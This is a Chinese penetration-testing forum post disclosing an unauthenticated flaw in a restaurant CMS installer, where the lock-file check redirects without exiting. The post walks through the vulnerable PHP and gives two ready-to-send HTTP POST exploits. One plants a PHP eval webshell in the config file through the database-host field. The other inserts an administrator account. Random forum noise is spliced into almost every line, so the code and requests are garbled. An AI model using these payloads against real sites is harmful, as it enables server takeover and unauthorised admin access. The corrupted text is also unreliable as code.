中国网络渗透测试联盟

标题: 口福科技餐厅cms漏洞(可getshell) [打印本页]

作者: admin    时间: 2012-12-4 11:13
标题: 口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
# D# }8 z8 |7 F. F/ F
' r; ?, a6 J! V- t  [  V<?php
% O+ Z9 p0 D3 @6 o: |0 |* Cif(file_exists("../install.lock"))0 f( i/ V0 n0 u) i) R1 R' _
{
. X$ K$ J: @) y+ h- N) Q" h5 J) P" J    header("Location: ../");//没有退出
) x6 T6 L, ~! M8 @9 D* g}' d2 x! b5 |6 ]6 m  \2 I
               
# l  A) L; k4 W6 ~8 V# |//echo 'tst';exit;6 F2 \- I; M: M
require_once("init.php");
3 E6 T, }7 h" j  s3 Dif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 `' V! e. h8 ]* e& c{8 o0 F- v+ y: C6 g* u3 ~
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
+ }& L8 w' F: r6 N: r
/ `5 A. R4 X, m8 N+ m/ _1、getshell(很危险)
/ C2 F$ p6 Q* X) ?" `if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
. H9 M& I2 p1 N{
$ K7 P& H. Q5 P- E; P. l$smarty->assign("step",1);0 H3 ^7 c9 V& t2 ?2 F0 B$ {; J
$smarty->display("index.html");2 ]$ D8 Z# ?& U+ G) W; C
}elseif($_REQUEST['step']==2)
' f& x- Y1 W7 x* {  o0 J, K{
' x' _4 l4 F, K1 _8 P    $mysql_host=trim($_POST['mysql_host']);
+ m+ F- u0 v4 o; f) b    $mysql_user=trim($_POST['mysql_user']);. \+ {) V4 ^& H0 V+ t2 k
    $mysql_pwd=trim($_POST['mysql_pwd']);% R: y/ B$ S) U3 u9 Z
    $mysql_db=trim($_POST['mysql_db']);
+ t" d  H% x' u% _, n    $tblpre=trim($_POST['tblpre']);2 v# G' Z: {/ P% o6 }; [& `6 P3 g
    $domain==trim($_POST['domain']);
/ S8 ]  z! d* p. g3 Q7 w6 u    $str="<?php \r\n";0 b8 A- i+ e( f$ W# X& k
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
. b' z7 U( b: {  N1 \3 [    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";& M" o' ^& g6 t8 O
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";* c2 u/ m& h- I: J- C5 y0 g$ N
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
6 f& z4 ]- Y/ m- ^& e, O/ G    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
: H, f  r, G/ {    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";, v1 q; R( E1 u- J$ n0 F
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";: H8 n* Q7 X; N9 ?5 {. }
    $str.='define("SKINS","default");'."\r\n";
6 ?0 Z+ {0 x5 a: N8 a% P% Y    $str.='?>';9 j: g, s; E& `$ H6 S
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
/ P" K' T3 O5 ?  _+ L: f2 G上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
' f' e9 [1 O: q+ O( s5 TPOST /canting/install/index.php?m=index&step=2 HTTP/1.10 H, R# B0 z8 V* Z+ t, g
Host: 192.168.80.129) m+ j0 f# E9 W" ]( B
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 u3 S% y) e5 t- w4 x: s* C0 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
: w$ T7 X% t, U8 l& }Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( Q! l& T" H$ mAccept-Encoding: gzip, deflate$ g) j6 m2 w0 M% r! Y& x
Referer: http://192.168.80.129/canting/install/index.php?step=1
* ~: W. K, t: f: s0 |8 C9 f# ]* ]Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
6 S. ^( V/ ]& k$ x5 V# Y' ]Content-Type: application/x-www-form-urlencoded
8 ]0 n+ I% Y/ n7 iContent-Length: 126" Y. ?. ~, c: d' i
         
, l3 u3 K4 x( O4 amysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
1 Z$ Y- N' `6 n但是这个方法很危险,将导致网站无法运行。
5 p% f: @" }6 [" c- M$ z+ C! Q# l! c, B# c6 Y
2、直接添加管理员
' I7 W9 ~* L7 p" R  y
# }1 ~% Y1 B* x5 X% }elseif($_REQUEST['step']==5)
" [# B9 \* S- W% |% f" o- N# z{
" n+ H9 \4 w; N2 O    if($_POST)
: m( T5 m' ]) m    {   require_once("../config/config.inc.php");0 l. i* L* A2 {4 U$ J. u5 \
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
4 U, l% I# S! f9 i+ {$ N        mysql_select_db(MYSQL_DB,$link);0 x9 R# T& C9 O) C" ?
        mysql_query("SET NAMES ".MYSQL_CHARSET );. u3 [# n% L( Q. u: c) u
         mysql_query("SET sql_mode=''");& z! s% {! o' ]
# i0 J, w% n$ Q0 U5 m
$adminname=trim($_POST['adminname']);
; C; e/ J5 Z; p1 i4 v        $pwd1=trim($_POST['pwd1']);
3 m8 Q( |  U& d/ ^+ ~$ U        $pwd2=trim($_POST['pwd2']);3 P7 X; _' f6 `) @2 e
        if(empty($adminname))
* b8 E& x- Z9 x& s5 U( Y5 x        {  Y' c; Z. T) s, o, M8 P& U8 \) ?
3 t. x, k0 U. ^: S
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
* y* E8 q5 w# v5 M/ e7 H            exit();3 c% ]2 r! O" E, @
        }/ Q: a2 |5 u' D- t& ?. u; t
        if(($pwd1!=$pwd2) or empty($pwd1))% x2 m  w& `6 M& L6 p
        {4 z: g6 M/ z& g) B
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
; T9 F. B# c1 S; O0 `+ X  j9 {1 d        }
5 S# [  f2 }2 p# b' g+ ~0 s        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员. I7 z9 y- |: k+ G; Z
    }* x* k% z6 [; e' z3 |5 x6 H2 N
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
, \6 @  k+ Z: M6 Q+ J* q# t; aPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
9 K9 u3 l7 ^' x& v3 o2 OHost: 192.168.80.129
9 j+ {  W% Z% V/ G/ DUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0  l( N$ S+ J% Y+ ]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8( X5 f' Y5 N" ?3 B# t
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
+ F  @/ O6 q, h; ~0 S. i2 SAccept-Encoding: gzip, deflate6 t) o% M$ g5 k+ d: k: I- \
Referer: http://www.2cto.com /canting/install/index.php?step=1
  q; W/ B( Y) n. x$ O. _0 A; N7 VCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc424 |4 w+ k, `+ Z" y& {$ h8 P
Content-Type: application/x-www-form-urlencoded
! U: v/ |, ~; S- Y/ G- u- S/ ~Content-Length: 464 L2 g# N" u  b7 [4 q
      : P( i0 y% F3 i1 E! g
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​  I4 \+ |" `9 c* h$ K4 b





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2